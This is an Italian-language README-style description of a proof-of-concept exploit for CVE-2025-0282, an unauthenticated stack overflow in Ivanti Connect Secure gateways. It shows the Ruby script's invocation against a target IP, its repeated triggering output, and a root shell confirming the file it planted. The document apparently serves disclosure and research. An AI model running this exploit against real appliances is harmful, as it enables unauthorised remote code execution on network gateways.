
PoC per CVE-2025-0282: un buffer overflow basato sullo stack remoto non autenticato che colpisce Ivanti Connect Secure, Ivanti Policy Secure e Ivanti Neurons for ZTA gateways
Un buffer overflow non autenticato basato sullo stack che interessa Ivanti Connect Secure, Ivanti Policy Secure e Ivanti Neurons for ZTA gateways
Questa è una proof of concept di exploit per dimostrare lo sfruttamento di CVE-2025-0282, ed è basata sulla strategia di sfruttamento pubblicata da watchTowr.
Questo PoC ha una catena ROP costruita per colpire Ivanti Connect Secure 22.7r2.4. Nessun'altra versione può essere presa di mira senza prima costruire la corrispondente catena ROP per quella versione target.
Questo PoC ha un payload che eseguirà un comando del sistema operativo per creare un file temporaneo sul sistema di destinazione. È così che si sa che l'exploit ha avuto successo. L'esecuzione del codice viene ottenuta con i privilegi dell'utente non root nr.
Possiamo eseguire questo script contro un target Ivanti Connect Secure vulnerabile, versione 22.7r2.4, come segue:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
Se l'exploit ha successo, scriverà un nuovo file nella directory temporanea /var/tmp/, con un valore numerico corrispondente all'iterazione del tentativo di exploit come parte del nome del file.
In una shell root separata sul dispositivo di destinazione (che abbiamo stabilito violando l'appliance), possiamo osservare quando l'exploit ha avuto successo:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
Da questo esempio possiamo vedere che l'exploit ha effettuato 190 tentativi falliti ed è riuscito al 191° tentativo. Quindi in questo esempio, lo sfruttamento di questo target è riuscito in 34 minuti.